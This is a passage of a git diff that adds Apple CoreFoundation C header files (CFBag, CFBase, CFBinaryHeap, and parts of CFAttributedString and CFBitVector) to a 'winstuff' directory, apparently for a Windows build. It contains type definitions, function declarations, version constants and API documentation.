AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringReplaceAttributedString +Replaces the attributed substring over the specified range with the attributed string specified in replacement. range should be valid. To delete a range of the attributed string, call CFAttributedStringReplaceString() with empty string and specified range. +*/ +CF_EXPORT void CFAttributedStringReplaceAttributedString(CFMutableAttributedStringRef aStr, CFRange range, CFAttributedStringRef replacement) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringBeginEditing +In cases where attributed string might do a bunch of work to assure self-consistency, CFAttributedStringBeginEditing/CFAttributedStringEndEditing allow disabling that to allow deferring and coalescing any work. It's a good idea to call these around a set of related mutation calls which don't require the string to be in consistent state in between. These calls can be nested. +*/ +CF_EXPORT void CFAttributedStringBeginEditing(CFMutableAttributedStringRef aStr) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFAttributedStringEndEditing +In cases where attributed string might do a bunch of work to assure self-consistency, CFAttributedStringBeginEditing/CFAttributedStringEndEditing allow disabling that to allow deferring and coalescing any work. It's a good idea to call these around a set of related mutation calls which don't require the string to be in consistent state in between. These calls can be nested. +*/ +CF_EXPORT void CFAttributedStringEndEditing(CFMutableAttributedStringRef aStr) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFATTRIBUTEDSTRING__ */ + diff --git a/winstuff/CoreFoundation/CFBag.h b/winstuff/CoreFoundation/CFBag.h new file mode 100644 index 0000000..21a64e8 --- /dev/null +++ b/winstuff/CoreFoundation/CFBag.h @@ -0,0 +1,90 @@ +/* CFBag.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFBAG__) +#define __COREFOUNDATION_CFBAG__ 1 + +#include + +CF_EXTERN_C_BEGIN + +typedef const void * (*CFBagRetainCallBack)(CFAllocatorRef allocator, const void *value); +typedef void (*CFBagReleaseCallBack)(CFAllocatorRef allocator, const void *value); +typedef CFStringRef (*CFBagCopyDescriptionCallBack)(const void *value); +typedef Boolean (*CFBagEqualCallBack)(const void *value1, const void *value2); +typedef CFHashCode (*CFBagHashCallBack)(const void *value); +typedef struct { + CFIndex version; + CFBagRetainCallBack retain; + CFBagReleaseCallBack release; + CFBagCopyDescriptionCallBack copyDescription; + CFBagEqualCallBack equal; + CFBagHashCallBack hash; +} CFBagCallBacks; + +CF_EXPORT +const CFBagCallBacks kCFTypeBagCallBacks; +CF_EXPORT +const CFBagCallBacks kCFCopyStringBagCallBacks; + +typedef void (*CFBagApplierFunction)(const void *value, void *context); + +typedef const struct __CFBag * CFBagRef; +typedef struct __CFBag * CFMutableBagRef; + +CF_EXPORT +CFTypeID CFBagGetTypeID(void); + +CF_EXPORT +CFBagRef CFBagCreate(CFAllocatorRef allocator, const void **values, CFIndex numValues, const CFBagCallBacks *callBacks); + +CF_EXPORT +CFBagRef CFBagCreateCopy(CFAllocatorRef allocator, CFBagRef theBag); + +CF_EXPORT +CFMutableBagRef CFBagCreateMutable(CFAllocatorRef allocator, CFIndex capacity, const CFBagCallBacks *callBacks); + +CF_EXPORT +CFMutableBagRef CFBagCreateMutableCopy(CFAllocatorRef allocator, CFIndex capacity, CFBagRef theBag); + +CF_EXPORT +CFIndex CFBagGetCount(CFBagRef theBag); + +CF_EXPORT +CFIndex CFBagGetCountOfValue(CFBagRef theBag, const void *value); + +CF_EXPORT +Boolean CFBagContainsValue(CFBagRef theBag, const void *value); + +CF_EXPORT +const void *CFBagGetValue(CFBagRef theBag, const void *value); + +CF_EXPORT +Boolean CFBagGetValueIfPresent(CFBagRef theBag, const void *candidate, const void **value); + +CF_EXPORT +void CFBagGetValues(CFBagRef theBag, const void **values); + +CF_EXPORT +void CFBagApplyFunction(CFBagRef theBag, CFBagApplierFunction applier, void *context); + +CF_EXPORT +void CFBagAddValue(CFMutableBagRef theBag, const void *value); + +CF_EXPORT +void CFBagReplaceValue(CFMutableBagRef theBag, const void *value); + +CF_EXPORT +void CFBagSetValue(CFMutableBagRef theBag, const void *value); + +CF_EXPORT +void CFBagRemoveValue(CFMutableBagRef theBag, const void *value); + +CF_EXPORT +void CFBagRemoveAllValues(CFMutableBagRef theBag); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFBAG__ */ + diff --git a/winstuff/CoreFoundation/CFBase.h b/winstuff/CoreFoundation/CFBase.h new file mode 100644 index 0000000..7ff29ee --- /dev/null +++ b/winstuff/CoreFoundation/CFBase.h @@ -0,0 +1,432 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFBase.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFBASE__) +#define __COREFOUNDATION_CFBASE__ 1 + +#if (defined(__CYGWIN32__) || defined(_WIN32)) && !defined (__WIN32__) +#define __WIN32__ 1 +#endif + +#if defined(_MSC_VER) && defined(_M_IX86) +#define __i386__ 1 +#endif + +#if (defined(__i386__) || defined(__x86_64__)) && !defined(__LITTLE_ENDIAN__) + #define __LITTLE_ENDIAN__ 1 +#endif + +#if !defined(__BIG_ENDIAN__) && !defined(__LITTLE_ENDIAN__) +#error Do not know the endianess of this architecture +#endif + +#if !__BIG_ENDIAN__ && !__LITTLE_ENDIAN__ +#error Both __BIG_ENDIAN__ and __LITTLE_ENDIAN__ cannot be false +#endif + +#if __BIG_ENDIAN__ && __LITTLE_ENDIAN__ +#error Both __BIG_ENDIAN__ and __LITTLE_ENDIAN__ cannot be true +#endif + +#if defined(__WIN32__) +#include +#include +#include +#include +#elif defined(__GNUC__) +#include +#include +#endif +#include + + #if defined(__MACH__) + #include + #endif + +#if !defined(__MACTYPES__) +#if !defined(_OS_OSTYPES_H) + typedef unsigned char Boolean; + typedef unsigned char UInt8; + typedef signed char SInt8; + typedef unsigned short UInt16; + typedef signed short SInt16; + typedef unsigned int UInt32; + typedef signed int SInt32; + typedef uint64_t UInt64; + typedef int64_t SInt64; + typedef SInt32 OSStatus; +#endif + typedef float Float32; + typedef double Float64; + typedef unsigned short UniChar; + typedef unsigned char * StringPtr; + typedef const unsigned char * ConstStringPtr; + typedef unsigned char Str255[256]; + typedef const unsigned char * ConstStr255Param; + typedef SInt16 OSErr; + typedef SInt16 RegionCode; + typedef SInt16 LangCode; +#endif +#if !defined(__MACTYPES__) || (defined(UNIVERSAL_INTERFACES_VERSION) && UNIVERSAL_INTERFACES_VERSION < 0x0340) + typedef UInt32 UTF32Char; + typedef UInt16 UTF16Char; + typedef UInt8 UTF8Char; +#endif + +#if !defined(CF_EXTERN_C_BEGIN) +#if defined(__cplusplus) +#define CF_EXTERN_C_BEGIN extern "C" { +#define CF_EXTERN_C_END } +#else +#define CF_EXTERN_C_BEGIN +#define CF_EXTERN_C_END +#endif +#endif + +CF_EXTERN_C_BEGIN + +#if !defined(NULL) +#if defined(__GNUG__) + #define NULL __null +#elif defined(__cplusplus) + #define NULL 0 +#else + #define NULL ((void *)0) +#endif +#endif + +#if !defined(TRUE) + #define TRUE 1 +#endif + +#if !defined(FALSE) + #define FALSE 0 +#endif + +#if defined(__WIN32__) + #undef CF_EXPORT + #if defined(CF_BUILDING_CF) + #define CF_EXPORT __declspec(dllexport) extern + #else + #define CF_EXPORT __declspec(dllimport) extern + #endif +#elif defined(macintosh) + #if defined(__MWERKS__) + #define CF_EXPORT __declspec(export) extern + #endif +#endif + +#if !defined(CF_EXPORT) + #define CF_EXPORT extern +#endif + +#if !defined(CF_INLINE) + #if defined(__GNUC__) && (__GNUC__ == 4) && !defined(DEBUG) + #define CF_INLINE static __inline__ __attribute__((always_inline)) + #elif defined(__GNUC__) + #define CF_INLINE static __inline__ + #elif defined(__MWERKS__) || defined(__cplusplus) + #define CF_INLINE static inline + #elif defined(_MSC_VER) + #define CF_INLINE static __inline + #elif defined(__WIN32__) + #define CF_INLINE static __inline__ + #endif +#endif + + +CF_EXPORT double kCFCoreFoundationVersionNumber; + +#define kCFCoreFoundationVersionNumber10_0 196.40 +#define kCFCoreFoundationVersionNumber10_0_3 196.50 +#define kCFCoreFoundationVersionNumber10_1 226.00 +#define kCFCoreFoundationVersionNumber10_1_1 226.00 +/* Note the next three do not follow the usual numbering policy from the base release */ +#define kCFCoreFoundationVersionNumber10_1_2 227.20 +#define kCFCoreFoundationVersionNumber10_1_3 227.20 +#define kCFCoreFoundationVersionNumber10_1_4 227.30 +#define kCFCoreFoundationVersionNumber10_2 263.00 +#define kCFCoreFoundationVersionNumber10_2_1 263.10 +#define kCFCoreFoundationVersionNumber10_2_2 263.10 +#define kCFCoreFoundationVersionNumber10_2_3 263.30 +#define kCFCoreFoundationVersionNumber10_2_4 263.30 +#define kCFCoreFoundationVersionNumber10_2_5 263.50 +#define kCFCoreFoundationVersionNumber10_2_6 263.50 +#define kCFCoreFoundationVersionNumber10_2_7 263.50 +#define kCFCoreFoundationVersionNumber10_2_8 263.50 +#define kCFCoreFoundationVersionNumber10_3 299.00 +#define kCFCoreFoundationVersionNumber10_3_1 299.00 +#define kCFCoreFoundationVersionNumber10_3_2 299.00 +#define kCFCoreFoundationVersionNumber10_3_3 299.30 +#define kCFCoreFoundationVersionNumber10_3_4 299.31 +#define kCFCoreFoundationVersionNumber10_3_5 299.31 +#define kCFCoreFoundationVersionNumber10_3_6 299.32 +#define kCFCoreFoundationVersionNumber10_3_7 299.33 +#define kCFCoreFoundationVersionNumber10_3_8 299.33 +#define kCFCoreFoundationVersionNumber10_3_9 299.35 +#define kCFCoreFoundationVersionNumber10_4 368.00 +#define kCFCoreFoundationVersionNumber10_4_1 368.10 +#define kCFCoreFoundationVersionNumber10_4_2 368.11 +#define kCFCoreFoundationVersionNumber10_4_3 368.18 +#define kCFCoreFoundationVersionNumber10_4_4_Intel 368.26 +#define kCFCoreFoundationVersionNumber10_4_4_PowerPC 368.25 +#define kCFCoreFoundationVersionNumber10_4_5_Intel 368.26 +#define kCFCoreFoundationVersionNumber10_4_5_PowerPC 368.25 +#define kCFCoreFoundationVersionNumber10_4_6_Intel 368.26 +#define kCFCoreFoundationVersionNumber10_4_6_PowerPC 368.25 +#define kCFCoreFoundationVersionNumber10_4_7 368.27 +#define kCFCoreFoundationVersionNumber10_4_8 368.27 +#define kCFCoreFoundationVersionNumber10_4_9 368.28 +#define kCFCoreFoundationVersionNumber10_4_10 368.28 +#define kCFCoreFoundationVersionNumber10_4_11 368.31 + +typedef unsigned long CFTypeID; +typedef unsigned long CFOptionFlags; +typedef unsigned long CFHashCode; +typedef signed long CFIndex; + +/* Base "type" of all "CF objects", and polymorphic functions on them */ +typedef const void * CFTypeRef; + +typedef const struct __CFString * CFStringRef; +typedef struct __CFString * CFMutableStringRef; + +/* + Type to mean any instance of a property list type; + currently, CFString, CFData, CFNumber, CFBoolean, CFDate, + CFArray, and CFDictionary. +*/ +typedef CFTypeRef CFPropertyListRef; + +/* Values returned from comparison functions */ +enum { + kCFCompareLessThan = -1, + kCFCompareEqualTo = 0, + kCFCompareGreaterThan = 1 +}; +typedef CFIndex CFComparisonResult; + +/* A standard comparison function */ +typedef CFComparisonResult (*CFComparatorFunction)(const void *val1, const void *val2, void *context); + +/* Constant used by some functions to indicate failed searches. */ +/* This is of type CFIndex. */ +enum { + kCFNotFound = -1 +}; + + +/* Range type */ +typedef struct { + CFIndex location; + CFIndex length; +} CFRange; + +#if defined(CF_INLINE) +CF_INLINE CFRange CFRangeMake(CFIndex loc, CFIndex len) { + CFRange range; + range.location = loc; + range.length = len; + return range; +} +#else +#define CFRangeMake(LOC, LEN) __CFRangeMake(LOC, LEN) +#endif + +/* Private; do not use */ +CF_EXPORT +CFRange __CFRangeMake(CFIndex loc, CFIndex len); + + +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED +/* Null representant */ + +typedef const struct __CFNull * CFNullRef; + +CF_EXPORT +CFTypeID CFNullGetTypeID(void); + +CF_EXPORT +const CFNullRef kCFNull; // the singleton null instance + +#endif + + +/* Allocator API + + Most of the time when specifying an allocator to Create functions, the NULL + argument indicates "use the default"; this is the same as using kCFAllocatorDefault + or the return value from CFAllocatorGetDefault(). This assures that you will use + the allocator in effect at that time. + + You should rarely use kCFAllocatorSystemDefault, the default default allocator. +*/ +typedef const struct __CFAllocator * CFAllocatorRef; + +/* This is a synonym for NULL, if you'd rather use a named constant. */ +CF_EXPORT +const CFAllocatorRef kCFAllocatorDefault; + +/* Default system allocator; you rarely need to use this. */ +CF_EXPORT +const CFAllocatorRef kCFAllocatorSystemDefault; + +/* This allocator uses malloc(), realloc(), and free(). This should not be + generally used; stick to kCFAllocatorDefault whenever possible. This + allocator is useful as the "bytesDeallocator" in CFData or + "contentsDeallocator" in CFString where the memory was obtained as a + result of malloc() type functions. +*/ +CF_EXPORT +const CFAllocatorRef kCFAllocatorMalloc; + +/* This allocator explicitly uses the default malloc zone, returned by + malloc_default_zone(). It should only be used when an object is + safe to be allocated in non-scanned memory. + */ +CF_EXPORT +const CFAllocatorRef kCFAllocatorMallocZone AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/* Null allocator which does nothing and allocates no memory. This allocator + is useful as the "bytesDeallocator" in CFData or "contentsDeallocator" + in CFString where the memory should not be freed. +*/ +CF_EXPORT +const CFAllocatorRef kCFAllocatorNull; + +/* Special allocator argument to CFAllocatorCreate() which means + "use the functions given in the context to allocate the allocator + itself as well". +*/ +CF_EXPORT +const CFAllocatorRef kCFAllocatorUseContext; + +typedef const void * (*CFAllocatorRetainCallBack)(const void *info); +typedef void (*CFAllocatorReleaseCallBack)(const void *info); +typedef CFStringRef (*CFAllocatorCopyDescriptionCallBack)(const void *info); +typedef void * (*CFAllocatorAllocateCallBack)(CFIndex allocSize, CFOptionFlags hint, void *info); +typedef void * (*CFAllocatorReallocateCallBack)(void *ptr, CFIndex newsize, CFOptionFlags hint, void *info); +typedef void (*CFAllocatorDeallocateCallBack)(void *ptr, void *info); +typedef CFIndex (*CFAllocatorPreferredSizeCallBack)(CFIndex size, CFOptionFlags hint, void *info); +typedef struct { + CFIndex version; + void * info; + CFAllocatorRetainCallBack retain; + CFAllocatorReleaseCallBack release; + CFAllocatorCopyDescriptionCallBack copyDescription; + CFAllocatorAllocateCallBack allocate; + CFAllocatorReallocateCallBack reallocate; + CFAllocatorDeallocateCallBack deallocate; + CFAllocatorPreferredSizeCallBack preferredSize; +} CFAllocatorContext; + +CF_EXPORT +CFTypeID CFAllocatorGetTypeID(void); + +/* + CFAllocatorSetDefault() sets the allocator that is used in the current + thread whenever NULL is specified as an allocator argument. This means + that most, if not all allocations will go through this allocator. It + also means that any allocator set as the default needs to be ready to + deal with arbitrary memory allocation requests; in addition, the size + and number of requests will change between releases. + + An allocator set as the default will never be released, even if later + another allocator replaces it as the default. Not only is it impractical + for it to be released (as there might be caches created under the covers + that refer to the allocator), in general it's also safer and more + efficient to keep it around. + + If you wish to use a custom allocator in a context, it's best to provide + it as the argument to the various creation functions rather than setting + it as the default. Setting the default allocator is not encouraged. + + If you do set an allocator as the default, either do it for all time in + your app, or do it in a nested fashion (by restoring the previous allocator + when you exit your context). The latter might be appropriate for plug-ins + or libraries that wish to set the default allocator. +*/ +CF_EXPORT +void CFAllocatorSetDefault(CFAllocatorRef allocator); + +CF_EXPORT +CFAllocatorRef CFAllocatorGetDefault(void); + +CF_EXPORT +CFAllocatorRef CFAllocatorCreate(CFAllocatorRef allocator, CFAllocatorContext *context); + +CF_EXPORT +void *CFAllocatorAllocate(CFAllocatorRef allocator, CFIndex size, CFOptionFlags hint); + +CF_EXPORT +void *CFAllocatorReallocate(CFAllocatorRef allocator, void *ptr, CFIndex newsize, CFOptionFlags hint); + +CF_EXPORT +void CFAllocatorDeallocate(CFAllocatorRef allocator, void *ptr); + +CF_EXPORT +CFIndex CFAllocatorGetPreferredSizeForSize(CFAllocatorRef allocator, CFIndex size, CFOptionFlags hint); + +CF_EXPORT +void CFAllocatorGetContext(CFAllocatorRef allocator, CFAllocatorContext *context); + + +/* Polymorphic CF functions */ + +CF_EXPORT +CFTypeID CFGetTypeID(CFTypeRef cf); + +CF_EXPORT +CFStringRef CFCopyTypeIDDescription(CFTypeID type_id); + +CF_EXPORT +CFTypeRef CFRetain(CFTypeRef cf); + +CF_EXPORT +void CFRelease(CFTypeRef cf); + +CF_EXPORT +CFIndex CFGetRetainCount(CFTypeRef cf); + +CF_EXPORT +CFTypeRef CFMakeCollectable(CFTypeRef cf) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +Boolean CFEqual(CFTypeRef cf1, CFTypeRef cf2); + +CF_EXPORT +CFHashCode CFHash(CFTypeRef cf); + +CF_EXPORT +CFStringRef CFCopyDescription(CFTypeRef cf); + +CF_EXPORT +CFAllocatorRef CFGetAllocator(CFTypeRef cf); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFBASE__ */ + diff --git a/winstuff/CoreFoundation/CFBinaryHeap.h b/winstuff/CoreFoundation/CFBinaryHeap.h new file mode 100644 index 0000000..59cfa14 --- /dev/null +++ b/winstuff/CoreFoundation/CFBinaryHeap.h @@ -0,0 +1,287 @@ +/* CFBinaryHeap.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ +/*! + @header CFBinaryHeap + CFBinaryHeap implements a container which stores values sorted using + a binary search algorithm. CFBinaryHeaps can be useful as priority + queues. +*/ + +#if !defined(__COREFOUNDATION_CFBINARYHEAP__) +#define __COREFOUNDATION_CFBINARYHEAP__ 1 + +#include + +CF_EXTERN_C_BEGIN + +typedef struct { + CFIndex version; + void * info; + const void *(*retain)(const void *info); + void (*release)(const void *info); + CFStringRef (*copyDescription)(const void *info); +} CFBinaryHeapCompareContext; + +/*! + @typedef CFBinaryHeapCallBacks + Structure containing the callbacks for values of a CFBinaryHeap. + @field version The version number of the structure type being passed + in as a parameter to the CFBinaryHeap creation functions. + This structure is version 0. + @field retain The callback used to add a retain for the binary heap + on values as they are put into the binary heap. + This callback returns the value to use as the value in the + binary heap, which is usually the value parameter passed to + this callback, but may be a different value if a different + value should be added to the binary heap. The binary heap's + allocator is passed as the first argument. + @field release The callback used to remove a retain previously added + for the binary heap from values as they are removed from + the binary heap. The binary heap's allocator is passed as the + first argument. + @field copyDescription The callback used to create a descriptive + string representation of each value in the binary heap. This + is used by the CFCopyDescription() function. + @field compare The callback used to compare values in the binary heap for + equality in some operations. +*/ +typedef struct { + CFIndex version; + const void *(*retain)(CFAllocatorRef allocator, const void *ptr); + void (*release)(CFAllocatorRef allocator, const void *ptr); + CFStringRef (*copyDescription)(const void *ptr); + CFComparisonResult (*compare)(const void *ptr1, const void *ptr2, void *context); +} CFBinaryHeapCallBacks; + +/*! + @constant kCFStringBinaryHeapCallBacks + Predefined CFBinaryHeapCallBacks structure containing a set + of callbacks appropriate for use when the values in a CFBinaryHeap + are all CFString types. +*/ +CF_EXPORT const CFBinaryHeapCallBacks kCFStringBinaryHeapCallBacks; + +/*! + @typedef CFBinaryHeapApplierFunction + Type of the callback function used by the apply functions of + CFBinaryHeap. + @param value The current value from the binary heap. + @param context The user-defined context parameter given to the apply + function. +*/ +typedef void (*CFBinaryHeapApplierFunction)(const void *val, void *context); + +/*! + @typedef CFBinaryHeapRef + This is the type of a reference to CFBinaryHeaps. +*/ +typedef struct __CFBinaryHeap * CFBinaryHeapRef; + +/*! + @function CFBinaryHeapGetTypeID + Returns the type identifier of all CFBinaryHeap instances. +*/ +CF_EXPORT CFTypeID CFBinaryHeapGetTypeID(void); + +/*! + @function CFBinaryHeapCreate + Creates a new mutable binary heap with the given values. + @param allocator The CFAllocator which should be used to allocate + memory for the binary heap and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param capacity A hint about the number of values that will be held + by the CFBinaryHeap. Pass 0 for no hint. The implementation may + ignore this hint, or may use it to optimize various + operations. A heap's actual capacity is only limited by + address space and available memory constraints). If this + parameter is negative, the behavior is undefined. + @param callBacks A pointer to a CFBinaryHeapCallBacks structure + initialized with the callbacks for the binary heap to use on + each value in the binary heap. A copy of the contents of the + callbacks structure is made, so that a pointer to a structure + on the stack can be passed in, or can be reused for multiple + binary heap creations. If the version field of this callbacks + structure is not one of the defined ones for CFBinaryHeap, the + behavior is undefined. The retain field may be NULL, in which + case the CFBinaryHeap will do nothing to add a retain to values + as they are put into the binary heap. The release field may be + NULL, in which case the CFBinaryHeap will do nothing to remove + the binary heap's retain (if any) on the values when the + heap is destroyed or a key-value pair is removed. If the + copyDescription field is NULL, the binary heap will create a + simple description for a value. If the equal field is NULL, the + binary heap will use pointer equality to test for equality of + values. This callbacks parameter itself may be NULL, which is + treated as if a valid structure of version 0 with all fields + NULL had been passed in. Otherwise, + if any of the fields are not valid pointers to functions + of the correct type, or this parameter is not a valid + pointer to a CFBinaryHeapCallBacks callbacks structure, + the behavior is undefined. If any of the values put into the + binary heap is not one understood by one of the callback functions + the behavior when that callback function is used is undefined. + @param compareContext A pointer to a CFBinaryHeapCompareContext structure. + @result A reference to the new CFBinaryHeap. +*/ +CF_EXPORT CFBinaryHeapRef CFBinaryHeapCreate(CFAllocatorRef allocator, CFIndex capacity, const CFBinaryHeapCallBacks *callBacks, const CFBinaryHeapCompareContext *compareContext); + +/*! + @function CFBinaryHeapCreateCopy + Creates a new mutable binary heap with the values from the given binary heap. + @param allocator The CFAllocator which should be used to allocate + memory for the binary heap and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param capacity A hint about the number of values that will be held + by the CFBinaryHeap. Pass 0 for no hint. The implementation may + ignore this hint, or may use it to optimize various + operations. A heap's actual capacity is only limited by + address space and available memory constraints). + This parameter must be greater than or equal + to the count of the heap which is to be copied, or the + behavior is undefined. If this parameter is negative, the + behavior is undefined. + @param heap The binary heap which is to be copied. The values from the + binary heap are copied as pointers into the new binary heap (that is, + the values themselves are copied, not that which the values + point to, if anything). However, the values are also + retained by the new binary heap. The count of the new binary will + be the same as the given binary heap. The new binary heap uses the same + callbacks as the binary heap to be copied. If this parameter is + not a valid CFBinaryHeap, the behavior is undefined. + @result A reference to the new mutable binary heap. +*/ +CF_EXPORT CFBinaryHeapRef CFBinaryHeapCreateCopy(CFAllocatorRef allocator, CFIndex capacity, CFBinaryHeapRef heap); + +/*! + @function CFBinaryHeapGetCount + Returns the number of values currently in the binary heap. + @param heap The binary heap to be queried. If this parameter is not a valid + CFBinaryHeap, the behavior is undefined. + @result The number of values in the binary heap. +*/ +CF_EXPORT CFIndex CFBinaryHeapGetCount(CFBinaryHeapRef heap); + +/*! + @function CFBinaryHeapGetCountOfValue + Counts the number of times the given value occurs in the binary heap. + @param heap The binary heap to be searched. If this parameter is not a + valid CFBinaryHeap, the behavior is undefined. + @param value The value for which to find matches in the binary heap. The + compare() callback provided when the binary heap was created is + used to compare. If the compare() callback was NULL, pointer + equality (in C, ==) is used. If value, or any of the values + in the binary heap, are not understood by the compare() callback, + the behavior is undefined. + @result The number of times the given value occurs in the binary heap. +*/ +CF_EXPORT CFIndex CFBinaryHeapGetCountOfValue(CFBinaryHeapRef heap, const void *value); + +/*! + @function CFBinaryHeapContainsValue + Reports whether or not the value is in the binary heap. + @param heap The binary heap to be searched. If this parameter is not a + valid CFBinaryHeap, the behavior is undefined. + @param value The value for which to find matches in the binary heap. The + compare() callback provided when the binary heap was created is + used to compare. If the compare() callback was NULL, pointer + equality (in C, ==) is used. If value, or any of the values + in the binary heap, are not understood by the compare() callback, + the behavior is undefined. + @result true, if the value is in the specified binary heap, otherwise false. +*/ +CF_EXPORT Boolean CFBinaryHeapContainsValue(CFBinaryHeapRef heap, const void *value); + +/*! + @function CFBinaryHeapGetMinimum + Returns the minimum value is in the binary heap. If the heap contains several equal + minimum values, any one may be returned. + @param heap The binary heap to be searched. If this parameter is not a + valid CFBinaryHeap, the behavior is undefined. + @result A reference to the minimum value in the binary heap, or NULL if the + binary heap contains no values. +*/ +CF_EXPORT const void * CFBinaryHeapGetMinimum(CFBinaryHeapRef heap); + +/*! + @function CFBinaryHeapGetMinimumIfPresent + Returns the minimum value is in the binary heap, if present. If the heap contains several equal + minimum values, any one may be returned. + @param heap The binary heap to be searched. If this parameter is not a + valid CFBinaryHeap, the behavior is undefined. + @param value A C pointer to pointer-sized storage to be filled with the minimum value in + the binary heap. If this value is not a valid C pointer to a pointer-sized block + of storage, the result is undefined. If the result of the function is false, the value + stored at this address is undefined. + @result true, if a minimum value was found in the specified binary heap, otherwise false. +*/ +CF_EXPORT Boolean CFBinaryHeapGetMinimumIfPresent(CFBinaryHeapRef heap, const void **value); + +/*! + @function CFBinaryHeapGetValues + Fills the buffer with values from the binary heap. + @param heap The binary heap to be queried. If this parameter is not a + valid CFBinaryHeap, the behavior is undefined. + @param values A C array of pointer-sized values to be filled with + values from the binary heap. The values in the C array are ordered + from least to greatest. If this parameter is not a valid pointer to a + C array of at least CFBinaryHeapGetCount() pointers, the behavior is undefined. +*/ +CF_EXPORT void CFBinaryHeapGetValues(CFBinaryHeapRef heap, const void **values); + +/*! + @function CFBinaryHeapApplyFunction + Calls a function once for each value in the binary heap. + @param heap The binary heap to be operated upon. If this parameter is not a + valid CFBinaryHeap, the behavior is undefined. + @param applier The callback function to call once for each value in + the given binary heap. If this parameter is not a + pointer to a function of the correct prototype, the behavior + is undefined. If there are values in the binary heap which the + applier function does not expect or cannot properly apply + to, the behavior is undefined. + @param context A pointer-sized user-defined value, which is passed + as the second parameter to the applier function, but is + otherwise unused by this function. If the context is not + what is expected by the applier function, the behavior is + undefined. +*/ +CF_EXPORT void CFBinaryHeapApplyFunction(CFBinaryHeapRef heap, CFBinaryHeapApplierFunction applier, void *context); + +/*! + @function CFBinaryHeapAddValue + Adds the value to the binary heap. + @param heap The binary heap to which the value is to be added. If this parameter is not a + valid mutable CFBinaryHeap, the behavior is undefined. + @param value The value to add to the binary heap. The value is retained by + the binary heap using the retain callback provided when the binary heap + was created. If the value is not of the sort expected by the + retain callback, the behavior is undefined. +*/ +CF_EXPORT void CFBinaryHeapAddValue(CFBinaryHeapRef heap, const void *value); + +/*! + @function CFBinaryHeapRemoveMinimumValue + Removes the minimum value from the binary heap. + @param heap The binary heap from which the minimum value is to be removed. If this + parameter is not a valid mutable CFBinaryHeap, the behavior is undefined. +*/ +CF_EXPORT void CFBinaryHeapRemoveMinimumValue(CFBinaryHeapRef heap); + +/*! + @function CFBinaryHeapRemoveAllValues + Removes all the values from the binary heap, making it empty. + @param heap The binary heap from which all of the values are to be + removed. If this parameter is not a valid mutable CFBinaryHeap, + the behavior is undefined. +*/ +CF_EXPORT void CFBinaryHeapRemoveAllValues(CFBinaryHeapRef heap); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFBINARYHEAP__ */ + diff --git a/winstuff/CoreFoundation/CFBitVector.h b/winstuff/CoreFoundation/CFBitVector.h new file mode 100644 index 0000000..1acbc87 --- /dev/null +++ b/winstuff/CoreFoundation/CFBitVector.h @@ -0,0 +1,42 @@ +/* CFBitVector.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFBITVECTOR__) +#define __COREFOUNDATION_CFBITVECTOR__ 1 + +#include + +CF_EXTERN_C_BEGIN + +typedef UInt32 CFBit; + +typedef const struct __CFBitVector * CFBitVectorRef; +typedef struct __CFBitVector * CFMutableBitVectorRef; + +CF_EXPORT CFTypeID CFBitVectorGetTypeID(void); + +CF_EXPORT CFBitVectorRef CFBitVectorCreate(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex numBits); +CF_EXPORT CFBitVectorRef CFBitVectorCreateCopy(CFAllocatorRef allocator, CFBitVectorRef bv); +CF_EXPORT CFMutableBitVectorRef CFBitVectorCreateMutable(CFAllocatorRef allocator, CFIndex capacity); +CF_EXPORT CFMutableBitVectorRef CFBitVectorCreateMutableCopy(CFAllocatorRef allocator, CFIndex capacity, CFBitVectorRef bv); + +CF_EXPORT CFIndex CFBitVectorGetCount(CFBitVectorRef bv); +CF_EXPORT CFIndex CFBitVectorGetCountOfBit(CFBitVectorRef bv, CFRange range, CFBit value); +CF_EXPORT Boolean CFBitVectorContainsBit(CFBitVectorRef bv, CFRange range, CFBit value); +CF_EXPORT CFBit CFBitVectorGetBitAtIndex(CFBitVectorRef bv, CFIndex idx); +CF_EXPORT void CFBitVectorGetBits(CFBitVectorRef bv, CFRange range, UInt8 *bytes); +CF_EXPORT CFIndex CFBitVectorGetFirstIndexOfBit(CFBitVectorRef bv, CFRange range, CFBit value); +CF_EXPORT CFIndex CFBitVectorGetLastIndexOfBit(CFBitVectorRef bv, CFRange range, CFBit value); + +CF_EXPORT void CFBitVectorSetCount(CFMutableBitVectorRef bv, CFIndex count); +CF_EXPORT void 